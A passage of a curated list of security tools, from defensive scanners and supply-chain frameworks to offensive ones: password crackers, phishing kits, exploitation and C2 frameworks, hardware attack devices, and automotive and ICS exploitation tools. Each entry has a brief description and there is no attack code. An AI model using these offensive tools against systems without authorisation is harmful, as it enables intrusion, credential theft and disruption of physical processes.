📊 InsightCloudSec - Continuous security and compliance monitoring across public cloud environments with automated discovery, policy enforcement, and real-time risk identification for cloud infrastructure.

Container & Kubernetes Security

🐳 Trivy - Comprehensive open-source scanner that detects vulnerabilities in OS packages and application dependencies within container images, audits Kubernetes clusters for misconfigurations and exposed secrets, and integrates seamlessly into CI/CD pipelines to prevent vulnerable workloads from reaching production.
🛡️ Kubescape - CNCF incubating project providing comprehensive Kubernetes security from development to runtime, with misconfiguration scanning against NSA-CISA, MITRE ATT&CK, and CIS Benchmarks, image vulnerability scanning via Grype, auto-remediation, admission control, and eBPF-based runtime monitoring.
🔍 Grype - SBOM-first vulnerability scanner for container images and filesystems from Anchore, featuring threat prioritization with EPSS scores and CISA KEV indicators to help security teams focus on vulnerabilities most likely to be exploited in the wild.
🎯 Falco - CNCF graduated runtime security standard originally created by Sysdig, monitoring syscalls and Kubernetes audit events in real time using eBPF to detect suspicious behaviors like shells spawned inside containers, privileged container creation, and unexpected outbound connections.
🔬 Tetragon - eBPF-based runtime security tool from Isovalent (now part of Cilium) that enforces policy in-kernel with near-zero overhead, capable of blocking malicious processes outright rather than just alerting on them.
🧬 Tracee - Aqua Security's runtime security tool focusing on forensics and behavioral signature detection, including rootkit and container-escape pattern detection using eBPF.
🔧 Kube-bench - Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark, identifying configuration weaknesses in cluster components.
🕵️ Kube-hunter - Penetration testing tool that hunts for security weaknesses in Kubernetes clusters by discovering and exploiting misconfigurations from an attacker's perspective.
🏗️ Open Policy Agent (OPA) - Policy engine that streamlines policy application across microservices, Kubernetes, CI/CD processes, and API gateways, allowing policies to be specified as code using Rego for admission control and workload validation.
🌐 Calico - Open-source networking solution and network policy engine for containers that operates at layer three, using BGP for packet routing and extending Kubernetes NetworkPolicy API with more granular control over traffic flow.
🕸️ Istio - Open-source service mesh for Kubernetes providing traffic control, security, monitoring, and policy enforcement through sidecar proxies (Envoy) that intercept and manage all incoming and outgoing service traffic.
🧪 KubeXHunt - Kubernetes post-compromise security assessment tool that maps attack paths from pod to cloud account compromise, with 16 phases covering reconnaissance, RBAC enumeration, network scanning, container escape, and cloud metadata access.
💀 CDK - Zero-dependency container penetration toolkit designed for stable exploitation in slimmed containers without OS dependencies, featuring container escape PoCs for capabilities like CAP_DAC_READ_SEARCH and CAP_SYS_MODULE.
🔐 Kimera - Kubernetes security validation platform from Dynatrace that tests whether security controls actually block attacks, with 40 techniques mapped to MITRE ATT&CK for Containers and support for MCP server integration with AI agents.
📦 Jacked - Vulnerability scanner for Docker images, code repositories, and tarballs using CycloneDX SBOM internally, with severity threshold configuration for CI/CD pipeline gating and multiple output formats including SPDX and JSON.
🛠️ Kubeaudit - Audit tool for Kubernetes clusters detecting misconfigurations and non-compliance with best practices, tailored for Red Hat OpenShift with extensible custom audits and NetworkPolicy analysis.
🧹 NodeAgent - Kubescape's runtime security agent using eBPF and Inspektor Gadget for process execution monitoring, file integrity checking, network tracing, SBOM generation, and CEL-based detection rules for threats like crypto mining and container escapes.

Supply Chain Security

📦 SLSA (Supply-chain Levels for Software Artifacts) - A security framework led by the Open Source Security Foundation (OpenSSF) that provides a checklist of standards and controls to prevent tampering, improve integrity, and secure packages across the software supply chain. SLSA v1.2, approved in November 2025, introduced a complete Source Track alongside the existing Build Track, with levels ranging from Build L1 (provenance exists) to Build L3 (hardened build platform) and Source L1 (stable revision identifier) to Source L3 (continuous enforcement of technical controls).
🔐 Sigstore - An open-source project for improving software supply chain security that empowers developers to securely sign and verify software artifacts using ephemeral keys, eliminating the need for long-lived key management. Sigstore combines Cosign (signing client), Fulcio (certificate authority bound to OIDC identities), and Rekor (tamper-resistant transparency log) to provide identity-based signing and public auditability for release files, container images, binaries, and SBOMs.
🔗 in-toto - A CNCF-graduated framework developed at NYU Tandon that protects the integrity of the software supply chain by verifying each task in the chain is carried out as planned, by authorized personnel only, and that the product is not tampered with in transit. in-toto uses signed layouts and link metadata to create a verifiable record of the entire software development lifecycle, and its Attestation Framework v1 (2025) introduced bundle layers, Resource Descriptors, and Protobuf definitions for language-independent attestation handling.
📄 CycloneDX - An OWASP-led Software Bill of Materials (SBOM) standard that is lightweight and well-suited for expressing component relationships and vulnerability data. CycloneDX is the recommended choice for security-response-focused supply chain programs, with mature tooling ecosystem support and integration into vulnerability scanners and policy engines.
📋 SPDX - A Linux Foundation-maintained SBOM standard that emphasizes license compliance expression, making it popular in regulatory and compliance-focused scenarios. Both SPDX and CycloneDX support JSON and XML formats, and organizations can produce both in parallel depending on their primary focus.
⚙️ Ampel - A lightweight supply chain policy engine designed to be embedded across the software development lifecycle, verifying unforgeable metadata captured in signed attestations. Ampel works with in-toto attestations and Sigstore bundles, supports SLSA provenance and SBOM gating, and allows policies to be written as code in CEL (Common Expression Language) for checks like "Was this artifact built by my GitHub account?" or "Does my vulnerability report contain HIGH CVEs?".
🏗️ Chainloop - An open-source evidence store for software supply chain attestations, SBOMs, VEX, SARIF, and QA reports. Chainloop provides a SLSA Level 3 compliant single source of truth built on open standards (Sigstore, in-toto, SLSA, OCI), with declarative Workflow Contracts that let Security teams define what evidence developers must provide, while shielding developers from the underlying complexity through simple CI/CD integration.
🛡️ OpenSSF Scorecard - An automated tool from the Open Source Security Foundation that assesses repositories against a set of security heuristics and assigns each check a score from 0 to 10. Scorecard evaluates Branch-Protection, Code-Review, Dangerous-Workflow, Token-Permissions, Pinned-Dependencies, Vulnerabilities, Signed-Releases, and other signals to provide an objective read on how safely a project is maintained before adopting it as a dependency.
🧪 Macaron - An open-source framework presented at IEEE that enhances software supply chain security by detecting malicious code and providing comprehensive insights into the construction and provenance of software artifacts. Macaron leverages static analysis to extract metadata from open-source packages, enables build reconstruction, identifies suspicious upstream components, and enforces compliance with the SLSA framework, with capabilities for detecting Python malware in open-source ecosystems.
🔍 GardWatch - A CLI tool that analyzes dependencies for trust, security risks, and quality signals across PyPI, npm, Go, Cargo, Maven, and NuGet. GardWatch uses a composite trust scoring engine (0-100) that factors in malware detection, package age and maturity, download popularity, OpenSSF Scorecard integration, metadata quality, and threat detection for typosquatting and homoglyph attacks.
🧩 Chainmail - A unified open-source workbench for software supply chain security that brings eight capabilities together in one place. Chainmail introduces a Multi-Dimensional Supply Chain Risk Score (SCRS), a graph-theoretic License Conflict Propagation (LCP) framework, and Automated VEX Generation using PURL-based version-range intersection, producing CSAF 2.0-compliant statements in under two seconds.
📊 OWASP Dependency-Check - A Software Composition Analysis (SCA) tool that identifies project dependencies and checks for known, publicly disclosed vulnerabilities, widely used in CI/CD pipelines for supply chain risk detection.
📜 GitLeaks - Detects hardcoded secrets, API keys, and sensitive data in Git repositories, helping prevent credential leakage in the software supply chain.
🧮 Trivy - Comprehensive vulnerability scanner for containers, filesystems, Git repositories, and dependencies, with SBOM generation and scanning capabilities for supply chain visibility.
🔬 Grype - An SBOM-first vulnerability scanner for container images and filesystems from Anchore, featuring threat prioritization with EPSS scores and CISA KEV indicators for supply chain risk assessment.
📦 Syft - A CLI tool and library for generating Software Bills of Materials (SBOMs) from container images and filesystems, supporting CycloneDX and SPDX formats.

Password Attacks

🔥 John the Ripper - Password cracking tool for various password hashes.
🧑‍💻 Hydra - Brute-force tool that supports a wide range of protocols.
⚡ Hashcat - Advanced password recovery using GPUs.
🐍 Medusa - A speedy, parallelized login brute-forcer.
🌐 Aircrack-ng - WiFi password cracking suite.
🔐 Wifite - Wireless network attack tool focused on WPA/WPA2.
🧠 THC-Hydra - A very fast network login cracker.
🎯 Hash-Toolkit - A tool for password hash cracking.
🛠️ Brutus - An old but reliable password cracker for HTTP, FTP, and more.
🔑 Burp Suite - A popular web vulnerability scanner with password attack features.
🧑‍💻 Ophcrack - A Windows password cracker using rainbow tables.
💻 Cain & Abel - A versatile tool for cracking various password hashes, sniffing networks, and decoding passwords.
🔐 L0phtCrack - Windows password auditing and recovery tool.
🧩 CrackStation - A free online service for cracking password hashes using dictionary attacks.
🔓 RainbowCrack - A tool that utilizes rainbow tables to crack passwords.
🧑‍💻 Medusa - Parallelized login brute-forcer for multiple protocols.
🔥 Patator - A multi-purpose brute-forcing tool that supports numerous protocols.
🛡️ RSMangler - A hash bruteforce tool for creating password dictionaries.
🧑‍💻 CrackMapExec - A post-exploitation tool for automating credential validation.
🕵️‍♀️ SudoKiller - A tool for privilege escalation that can be used for password cracking in Unix-based systems.

Social Engineering Tools

🧑‍💻 SET (Social-Engineer Toolkit) - Advanced framework for social engineering attacks.
📧 King Phisher - Phishing campaign toolkit for testing and training.
🎣 Phishing Frenzy - Phishing campaign automation platform.
🪤 Gophish - Open-source phishing toolkit for awareness and testing.
📩 Evilginx2 - Phishing toolkit using reverse proxy for capturing credentials & tokens.
🕵️‍♀️ HiddenEye - Modern phishing tool with advanced social engineering features.
🔥 BlackEye - Phishing tool with site cloning capabilities.
🛜 Zphisher - Advanced phishing tool with tunneling support.
📡 SocialFish - Social engineering phishing framework.
🧑‍💻 HiddenEye Reborn - Improved version of HiddenEye for phishing & spoofing.
🧑‍💻 EvilPhish - Social engineering tool for phishing websites.
📬 ShellPhish - Automated phishing tool supporting multiple templates.
🧑‍💻 CamPhish - Webcam phishing attack tool.
🕵️ Weeman - HTTP server-based phishing framework.
📲 QRGen - QR code phishing generator.
🕵️ PyPhisher - Python-based phishing toolkit with multiple site templates.
🕸️ AdvPhishing - Advanced phishing tool with login page cloning.
🎯 SocialBox - Brute-force social media hacking toolkit.
🧑‍💻 XPhisher - Advanced phishing tool with inbuilt tunneling.
🌐 CredSniper - Phishing framework with two-factor authentication bypass support.

Exploitation Tools

🎯 Metasploit Framework - Powerful exploit development and penetration testing framework.
🚀 Armitage - GUI front-end for Metasploit to visualize attacks.
🌐 BeEF (Browser Exploitation Framework) - Exploits browser vulnerabilities for client-side attacks.
💻 ExploitDB - Archive of public exploits and proof-of-concept code.
📜 SearchSploit - Offline version of ExploitDB for quick exploit searching.
🐍 sqlmap - Automated SQL injection exploitation tool.
📤 Commix - Automated command injection vulnerability scanner.
🖥️ RouterSploit - Exploits vulnerabilities in routers, IoT, and embedded devices.
📲 SET (Social Engineering Toolkit) - Human hacking via phishing, payloads, and more.
🕵️‍♂️ Empire - Post-exploitation framework for PowerShell agents.
🧑‍💻 Pupy - Cross-platform post-exploitation remote access tool (RAT).
🧨 Sliver - C2 framework for adversary simulation and red teaming.
🐚 Shellter - Dynamic shellcode injector for Windows executables.
🐦 Merlin - Post-exploitation command & control server using HTTP/2.
🧙‍♂️ Covenant - C#-based post-exploitation platform.
🔒 PowerSploit - PowerShell scripts for post-exploitation.
🔎 Windows Exploit Suggester - Suggests exploits based on Windows OS versions.
📦 PayloadsAllTheThings - Collection of payloads for exploits, fuzzing, and pentesting.
🧑‍💻 Fuzzbunch - NSA’s exploit framework (part of the Shadow Brokers leak).
🛠️ CrackMapExec - Swiss army knife for post-exploitation in Windows environments.

Binary Exploitation

🧬 pwntools - CTF framework and exploit development library providing cyclic pattern generation, ELF parsing, ROP chain building, tube I/O, and assembly/disassembly utilities.
🔍 pwndbg - GDB and LLDB plugin that makes exploit development and reverse engineering easier with commands like checksec, vmmap, search-pattern, and telescope for stack inspection.
🛠️ ROPgadget - Searches binaries for ROP gadgets to facilitate return-oriented programming exploitation across ELF, PE, and Mach-O formats.
🎯 ropper - Displays information about files and finds gadgets for building ROP chains across multiple architectures including x86/x86_64 and ARM.
🧪 one_gadget - Finds magic gadgets in libc that spawn a shell with minimal constraints, enabling quick RCE without building full ROP chains.
📊 checksec - Inspects binary protection mechanisms including RELRO, Stack Canary, NX, PIE, RPATH, RUNPATH, and FORTIFY.
🦅 angr - Powerful binary analysis platform supporting symbolic execution, concolic testing, and automated vulnerability discovery.
📚 how2heap - Repository for learning various heap exploitation techniques with educational examples covering tcache, fastbin, unsortedbin, and house-of attacks.
🔧 libc-database - Builds a database of libc offsets to simplify identification of libc versions from leaked addresses during exploitation.
🖥️ Ghidra - NSA's open-source reverse engineering suite with decompiler, scripting via PyGhidra, and headless mode for automated binary analysis.
🐛 VulnHub Binary Exploitation Repos - Curated collection of vulnerable binaries, CVE walkthroughs, and exploitation notes covering stack smashing, SEH chains, egghunters, and x86/x64 differences.
📝 Binary Exploitation Writeups - CTF-focused collection covering buffer overflow, ret2libc, ROP chains, format strings, and shellcode injection with full exploit code and educational walkthroughs.
🎓 picoCTF Binary Exploitation Roadmap - Structured learning path from foundations (assembly, gdb, pwntools) through stack smashing, mitigations, ROP, and heap exploitation.
🧰 CTF Tools - Setup scripts for security research tools commonly used in binary exploitation and CTF competitions.
⚙️ LearnPwn - Sample problems and solutions for learning binary exploitation with progressive difficulty.

Reverse Engineering

🧠 Ghidra - Open-source software reverse engineering framework.
🔎 Radare2 - Command-line reverse engineering toolkit.
🛠️ OllyDbg - 32-bit assembler-level debugger for Windows.
🧑‍💻 IDA Pro - Industry-standard interactive disassembler.
🐍 Binary Ninja - Interactive binary analysis platform.
🛡️ x64dbg - Open-source Windows debugger for x64 and x86.
🧬 Cutter - GUI for Radare2 with advanced analysis features.
📝 Hopper - Mac & Linux disassembler with powerful analysis.
🧑‍💻 dnSpy - .NET debugger and assembly editor.
🔄 RetDec - Open-source decompiler for machine code.
⚙️ angr - Python framework for binary analysis.
🧑‍💻 Frida - Dynamic instrumentation toolkit.
🔗 Binary Analysis Toolkit (BAT) - Malware analysis and binary inspection.
🐛 Rizin - Fork of Radare2 with a focus on usability.
🗂️ PEiD - Detect packers, cryptors, and compilers.
🧑‍💻 DiE (Detect It Easy) - Portable executable identifier.
📊 LIEF - Library for parsing and modifying executables.
🔍 Snowman - Native code to C++ decompiler.
🧑‍💻 APKTool - Decompile and rebuild Android APKs.
🔓 JEB Decompiler - Commercial decompiler for Android and other platforms.

Reverse Engineering Hardware

🧪 ChipWhisperer - Complete open-source toolchain for side-channel power analysis and voltage/clock glitching attacks on embedded devices, used widely in academia and industry as a baseline for implementation security testing.
💥 ChipSHOUTER - Electromagnetic fault injection (EMFI) platform from NewAE Technology for disrupting chip execution and bypassing security checks.
🔌 JTAGulator - Open-source hardware tool by Joe Grand for automatically discovering JTAG and UART pin assignments on unknown PCBs by brute-forcing all pin permutations, eliminating manual tracing.
⚡ Bus Pirate - Universal serial interface tool supporting UART, I2C, SPI, and JTAG protocols for communicating with embedded chips and dumping firmware.
📦 Flashrom - Utility for detecting, reading, writing, verifying, and erasing flash chips, supporting in-system programming via CH341A and other SPI programmers.
🔬 binwalk - Powerful firmware analysis tool for scanning binary images, identifying embedded filesystems, compressed archives, and executables, with extraction and entropy analysis capabilities.
🛠️ OpenOCD - Open On-Chip Debugger providing JTAG and SWD debugging, programming, and boundary scan testing for embedded targets.
📊 Saleae Logic - Professional logic analyzer for capturing and analyzing digital signals on embedded devices, essential for protocol decoding and hardware debugging.
🎯 Ghidra - NSA's open-source reverse engineering suite with decompiler, used for analyzing extracted firmware binaries and native code.
🔧 CH341A Programmer - Low-cost USB-based EEPROM/SPI flash programmer commonly used with SOIC8 clips for dumping NOR flash chips on routers and IoT devices.
🧰 Shikra - Similar to Bus Pirate but faster for SPI flash memory extraction, supporting UART, JTAG, and SPI protocol access.
🔐 Segger J-Link - Professional JTAG and SWD debug probe, more robust than Bus Pirate or Shikra for advanced debugging scenarios.
🧬 Dediprog SF100 - High-speed SPI Flash programmer for rapid firmware dumping and programming.
📡 Ubertooth One - Open-source Bluetooth monitoring and experimentation platform, useful for wireless protocol reverse engineering.
🕷️ JTAGenum - Arduino-compatible JTAG pin scanning tool for enumerating instruction registers and discovering undocumented instructions.

Hardware Hacking

📡 Flipper Zero - Portable multi-tool for pentesters and geeks, supporting Sub-GHz RF, RFID/NFC, Infrared, BadUSB, and GPIO, all in a pocket-sized device.
💻 Lilygo T-Embed CC1101 Plus - ESP32-based Flipper Zero alternative with WiFi/Bluetooth/BLE, IR, RFID, SubGHz (CC1101), and nRF24L01 for raw 2.4 GHz communications, supported by the Bruce firmware.
🔌 Bus Pirate 6 - The “Swiss Army knife” of hardware hacking, now RP2350-based with dual ARM M33 cores, LCD for pin labels/voltage/current, and support for UART, I2C, SPI, JTAG, and more.
🧪 ChipWhisperer - Complete open-source toolchain for side-channel power analysis and voltage/clock glitching attacks on embedded devices.
💥 ChipSHOUTER - Electromagnetic fault injection (EMFI) platform for disrupting chip execution and bypassing security checks.
🔍 JTAGulator - Open-source hardware tool for automatically discovering JTAG and UART pin assignments on unknown PCBs by brute-forcing all pin permutations.
📦 Flashrom - Utility for detecting, reading, writing, verifying, and erasing flash chips, supporting in-system programming.
🎯 Ghidra - NSA's open-source reverse engineering suite with decompiler, used for analyzing extracted firmware binaries and native code.
📻 HackRF One - Open-source Software Defined Radio platform covering 1 MHz to 6 GHz, capable of receiving and transmitting for RF security testing.
🔵 Ubertooth One - Open-source Bluetooth monitoring and experimentation platform for wireless protocol reverse engineering.
📡 Proxmark3 - RFID/NFC research tool for reading, cloning, and emulating access cards and other RFID-based systems.
🦆 USB Rubber Ducky - HID-based keystroke injection tool disguised as a USB flash drive for automated payload delivery.
🐰 Bash Bunny - Advanced automation and attack payload platform supporting USB HID, storage, and network attacks.
🎣 WiFi Pineapple - Portable wireless auditing platform for detecting rogue access points, capturing packets, and emulating wireless attack scenarios.
🐊 Key Croc - Stealth USB keystroke logger disguised as a keyboard passthrough, with payload triggering and remote shell access.

IoT & Embedded Security

🔍 Fing Desktop - Network security assessment tool providing full device inventory in under two minutes, with built-in open port scanning and automated router vulnerability checks for IoT environments.
📡 Fing Agent - Lightweight continuous monitoring agent deployable on Raspberry Pi, NAS, or Docker for ongoing visibility into IoT device changes and security events between assessment cycles.
🔥 Firewalla - Network security appliance and app that discovers vulnerable IoT devices, detects Mirai virus infections, and provides IPS sensors for blocking public scanners and known threat actors.
🧪 FirmAE - Automated firmware emulation platform that boots extracted Linux-based IoT firmware in QEMU for dynamic testing, enabling runtime vulnerability discovery without physical hardware.
🔬 Firmwalker - Automated sensitive information search tool for extracted firmware filesystems, scanning for credentials, certificates, and configuration secrets.
📦 Binwalk - Firmware analysis tool for identifying and extracting embedded filesystems, compressed archives, and binary components from firmware images, with entropy analysis for encryption detection.
🛠️ Ghidra - NSA's open-source reverse engineering framework used for analyzing embedded device binaries across ARM, MIPS, and other architectures, enabling discovery of hardcoded credentials, command injection, and buffer overflow vulnerabilities.
🐛 Boofuzz - Network protocol fuzzing framework for discovering memory corruption vulnerabilities in embedded services and daemons.
🐜 AFL - American Fuzzy Lop coverage-guided fuzzer used for embedded binary fuzzing to uncover crashes and exploitable conditions in IoT firmware.
🔌 Bus Pirate - Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces and extracting firmware.
📡 CH341A Programmer - Low-cost USB SPI flash programmer commonly used with SOIC-8 clips for dumping NOR flash chips on routers and IoT devices.
🎯 KillerBee - Zigbee security testing framework for capturing and analyzing Zigbee traffic, testing replay attacks, and checking key exchange security.
📻 Ubertooth One - Open-source Bluetooth monitoring and experimentation platform for BLE security testing, including GATT service enumeration and traffic analysis.
📡 nRF Connect - BLE enumeration and testing tool for discovering services and characteristics, testing for unauthorized read/write access.
🔧 HackRF One - Software Defined Radio platform for Zigbee, Z-Wave, and other RF protocol analysis, supporting protocol layer attacks and manipulation.
📡 ApiMote - Dedicated Zigbee security testing hardware for advanced Zigbee 3.0 penetration testing and vulnerability discovery.
🧪 IoT Auditor - Machine learning-based IoT detection system using ping sweep with Random Forest and Isolation Forest algorithms, correlating with 37,928 manufacturers and 9,832 CVEs for automated vulnerability classification.
📊 Nokia Anomaly Detection Pipeline - ML-based IoT anomaly detection tool that fingerprints normal device sensor behavior and reports deviations in near-real-time, validated in smart manufacturing use cases.
🛡️ Misuse Detection ML Toolkit - Runtime libraries with AI/ML algorithms for training models to detect misuse of software components and systems based on baseline normal behavioral patterns.
📡 r-Monitoring - Comprehensive system monitoring tool for IoT devices providing dynamic file monitoring, process metrics tracking, and network traffic analysis with real-time alerts for suspicious modifications.
🧪 TELEMETRY Cyber Range - AIRBUS-developed commercial platform for evaluating IoT monitoring tools through interactive cybersecurity hybrid environments with simulated traffic and attack patterns.
🔐 mitmproxy - Interactive HTTPS proxy used for inspecting IoT device traffic and testing privacy and security of ultrasonic scanners and other connected devices.
📡 Cooja Simulator - Contiki OS network simulator for emulating IoT device behavior in resource-constrained environments and implementing attack scenarios.
🧪 PureEdgeSim - Simulation tool for edge and IoT computing environments, used for evaluating security models and attack scenarios.
🔧 picocom - Minimal serial communication tool used for UART console access to embedded devices, extracting device IDs and boot logs at 115200 baud.
📡 mosquitto_sub - MQTT client for subscribing to IoT device topics, used for testing MQTT broker authentication and topic ACL enforcement.
🧪 JTAGulator - Open-source hardware tool for automatically discovering JTAG and UART pin assignments on unknown IoT PCBs by brute-forcing pin permutations.
🔬 Firmadyne - Automated firmware emulation platform for Linux-based IoT devices, enabling dynamic analysis of extracted firmware in QEMU.
🛠️ LinPEAS - Privilege escalation enumeration script run against extracted IoT filesystems to identify misconfigurations and security weaknesses.
📦 S3Scanner - Cloud storage scanner for identifying exposed S3 buckets containing IoT firmware or configuration data.
🔍 apktool - Android APK decompiler used to extract firmware bundled in companion mobile app assets for IoT devices.
🧪 checksec - Binary hardening inspection tool used to check embedded binaries for NX, ASLR, stack canaries, and other security mitigations.
🖥️ QEMU - Emulation platform used with qemu-mips and qemu-mipsel for running extracted embedded binaries in controlled environments for dynamic analysis.

Automotive Security

🐍 CANToolz - Modular CAN bus analysis framework using a pipe system to chain modules for ECU discovery, Man-in-the-Middle testing, fuzzing, brute-forcing, and scanning in black-box automotive security assessments.
🦌 Caring Caribou - Zero-knowledge CAN bus exploration tool that can be dropped onto any automotive network to discover services, dump traffic, fuzz messages, and enumerate UDS diagnostic services across ECUs.
🛠️ can-utils - Essential SocketCAN userspace utilities suite including candump for traffic capture, cansend for frame injection, cangen for fuzzing, and canplayer for replay attacks against CAN networks.
📡 CANable / CANtact - Low-cost USB-to-CAN hardware adapters that provide SocketCAN-compatible interfaces for Linux-based automotive security testing, supporting both monitoring and message injection.
🔧 HydraLink - Compact USB 3.0 to Automotive Ethernet (100BASE-T1 and 1000BASE-T1) interface designed for security researchers, enabling wire-speed packet forwarding, Man-in-the-Middle bridging, and SOME/IP fuzzing with full open-source driver support.
🌐 AEVisionLab - Comprehensive Automotive Ethernet test platform using commercial off-the-shelf ECUs that enables sniffing, interception, injection, and fuzzing of AE protocols including SOME/IP and PTP across realistic vehicle network topologies.
📱 NetHunter CARsenal - Kali NetHunter's automotive security toolset for Android devices, bundling CAN interface configuration, VIN decoding, can-utils, Caring Caribou, ICSim/UDSim simulators, and Metasploit automotive modules.
🧪 oCANada - Generation-based CAN fuzzer that leverages DBC database files to craft syntactically correct messages for ECU fuzzing, incorporating state-of-the-art CAN reverse engineering techniques for black-box environments.
💻 UnlockECU - Free, open-source ECU seed-key unlocking tool designed to bypass security access mechanisms on automotive electronic control units for diagnostic and research purposes.
📻 Flipper Zero (Unleashed 2.0 Firmware) - Portable multi-tool with Sub-GHz RF capabilities that, when running Unleashed 2.0 firmware, supports rolling code exploitation and replay attacks against keyless entry systems across numerous vehicle manufacturers including Kia, Hyundai, Subaru, and PSA group models.
🛰️ BladeRF / HackRF SDR - Software Defined Radio platforms used for GNSS/GPS spoofing attacks against vehicle navigation systems, capable of generating counterfeit GPS signals that can force vehicles to a halt by mimicking signal loss conditions.
🔵 BlueToolkit - Extensible Bluetooth Classic vulnerability testing framework that catalogs known automotive Bluetooth vulnerabilities including BLURTooth, KNOB, and BLESA attacks affecting infotainment and telematics systems.
🧰 ICSim (Instrument Cluster Simulator) - CAN bus simulator that emulates a vehicle instrument cluster for safe, legal testing of CAN injection, replay, and reverse engineering techniques without requiring physical vehicle access.
📊 canbus-toolbox - Curated collection of automotive security resources, papers, and tools maintained by the security community, covering CAN bus analysis, ECU exploitation, and vehicle penetration testing methodologies.
🎯 Project TEMPA v2 - Research toolkit and offensive tools for testing Tesla's Phone-as-a-Key BLE protocol, including VINTAG for recovering Vehicle Identification Numbers from BLE advertisements without pairing.

ICS/SCADA Security

🏭 IndustrialXPL-Forge (IXF) - The world's largest OT/ICS/SCADA security assessment and exploitation framework, Python-first with 976+ modules covering 50+ vendors and 50 protocols, supporting the complete attack lifecycle (OSINT → Discovery → Fingerprint → Vulnerability Check → Exploit → Report) with MITRE ATT&CK for ICS 93% coverage.
🗺️ GRASSMARLIN - NSA-released passive ICS/SCADA network situational awareness tool that safely discovers, inventories, and maps industrial control network topologies, supporting both logical and physical views with built-in fingerprint database and GeoIP capabilities for device identification and traffic analysis.
🧪 PyPLCploit - Vendor-agnostic PLC exploitation and vulnerability discovery framework supporting cross-vendor PLC interaction (Delta, Allen-Bradley, Siemens) with validated physical process disruption capabilities on real CPS testbeds, contributing to CVE-2025-62578 disclosure.
🔍 plcscan - Tool for enumerating Siemens S7 PLCs, supporting device discovery via TCP/IP or LLC networks, serving as a foundational tool for ICS network asset identification.
📡 OT/ICS Security Auditor - Python-based security assessment toolkit for OT/ICS/SCADA and IoT devices, featuring a dark amber GUI, 20+ industrial protocol probes (Modbus, S7comm, DNP3, IEC 60870-5-104, OPC UA, EtherNet/IP, BACnet/IP), concurrent scanning, risk scoring, and multi-format export with IEC 62443 and NIST SP 800-82 compliance.
🧰 S7scan / s7-info - Siemens S7 protocol-specific PLC information extraction tools for identifying PLC model, module information, and firmware version for deep fingerprinting of S7 devices.
🎮 ModbusPal - Modbus slave simulator for creating virtual Modbus devices for security testing, protocol learning, and attack validation, supporting register and coil configuration with real-time interaction.
🛡️ S.I.D.E. (SCADA Intrusion Detection Environment) - Next-generation IDS designed for ICS/SCADA networks, monitoring SCADA devices, detecting network anomalies, and providing real-time alerts with support for Modbus/TCP, SNAP7, and OPC-UA protocols using rule matching, Z-Score, and machine learning-based detection.
🔬 Protofire - Modular OT/ICS protocol fuzzer with plugin support for Modbus/TCP, DNP3, S7comm, IEC 60870-5-104, and OPC UA, featuring PCAP replay, anomaly detection, and MITRE ICS ATT&CK mapping for red team experiments and industrial protocol research.
📊 Zeek S7comm Plugin - Zeek network security monitoring platform's S7 protocol parsing plugin (maintained by AWS) for deep analysis and logging of S7 traffic.
📋 ICS-Pentesting-Tools - Curated list of industrial control system security and penetration testing tools covering asset discovery, protocol analysis, exploitation, and reporting tools.
🔑 ics-default-passwords - Industrial control system default password list covering factory credentials for mainstream ICS/SCADA vendor equipment for credential testing during penetration testing.
📚 awesome-ics-writeups - ICS/SCADA security writeup collection featuring real-world penetration testing reports, vulnerability analyses, and attack case studies.
🧪 ICS-TestBed-Framework - Industrial control security testbed framework for building reproducible ICS experimental environments and attack scenario simulations.
🔧 sixnet-tools - Specialized exploitation tools for Sixnet RTUs for security assessment and vulnerability validation of industrial control devices.
📡 s7comm_security_framework - Siemens S7comm security assessment framework supporting PLC information extraction, firmware version identification, program upload, and MITRE ATT&CK mapping.
🔍 Shodan / Censys - Internet-connected ICS device OSINT search engines for discovering publicly exposed industrial control assets and conducting external reconnaissance.
📦 Wireshark ICS Dissectors - Wireshark's built-in ICS protocol parsers (Modbus, DNP3, OPC UA, etc.) for deep packet analysis and protocol reverse engineering of industrial traffic.
⚙️ Metasploit ICS Modules - Metasploit framework's ICS-specific exploitation modules, including Modbus clients and SCADA service exploits, for controlled security testing of industrial control systems.
🧪 OpenPLC - Open-source PLC runtime and simulator used for building low-cost OT security labs, enabling Modbus protocol attack practice and ladder logic visualization on commodity hardware.
🧪 PyModbus - Python Modbus library used for simulating industrial environments and crafting custom protocol packets for ICS security testing and fuzzing.
🏗️ GRFICSv3 - Free and open-source OT security lab with realistic networking and 3D process simulation, featuring PLCs, HMIs, engineering workstations, Kali Linux attacker tools, MITRE Caldera, Suricata IDS, and optional Wazuh SIEM for comprehensive ICS security training.
🔬 IoT Security Audit Tool - Python-based security assessment toolkit supporting 23+ industrial protocols with concurrent scanning, default credential testing on HTTP/HTTPS interfaces, and risk scoring aligned with IEC 62443 and NIST SP 800-82.

Game Hacking

🎯 Cheat Engine - The industry-standard memory scanner and editor for game hacking, featuring value scanning, pointer scanning, code injection, Lua scripting, and a comprehensive auto-assembler for patching game logic at runtime.
🔧 x64dbg - Open-source binary debugger for Windows with a comprehensive plugin system, widely used for game reverse engineering and analyzing obfuscated game executables without source code.
🔍 Ghidra - NSA's open-source software reverse engineering framework with decompilation, disassembly, graphing, and scripting capabilities, supporting a wide variety of processor instruction sets for analyzing game binaries across platforms.
🧩 ReClass.NET - More than a port of ReClass to the .NET platform, providing a memory scanner, structure dissect tool, and a plugin ecosystem for visualizing game data structures and pointer chains.
🎮 dnSpyEx - Unofficial continuation of dnSpy for debugging and editing .NET and Unity assemblies, enabling game hacking without source code via C# decompilation, IL editing, and live assembly modification.
🧪 Frida Game Hacking MCP - Model Context Protocol server that transforms AI agents into game hacking assistants using Frida for memory operations, function hooking, code injection, and Cheat Engine-style value scanning workflows.
🐧 cheat-engine-linux - Native C++/Qt6 reimplementation of Cheat Engine for Linux, delivering ~2x faster first scans than the official native Linux build and 30-40x faster than scanmem, with a Mono/Unity dissector and Cheat Engine-compatible Lua API.
💻 scanmem - Linux memory scanner used for Cheat Engine-style value scanning, allowing game state manipulation via interactive commands like scan, narrow, and set to locate and modify health, score, or currency values.
🎯 ps5dbg-scanner - Cross-platform "Cheat Engine for PS5" built on the ps5dbg library, supporting value scanning, freeze/edit operations, and server-resident turbo scanning for jailbroken PlayStation 5 consoles.
🔬 ReClass.NET-MCP - MCP integration for ReClass.NET that exposes memory read/write, class/node management, and process inspection to AI coding assistants for automated game memory analysis.
🛠️ Cheat Engine Linux (CEServer) - Server component enabling Cheat Engine to connect to remote Linux, Android, and other platforms for cross-device game memory scanning and manipulation.
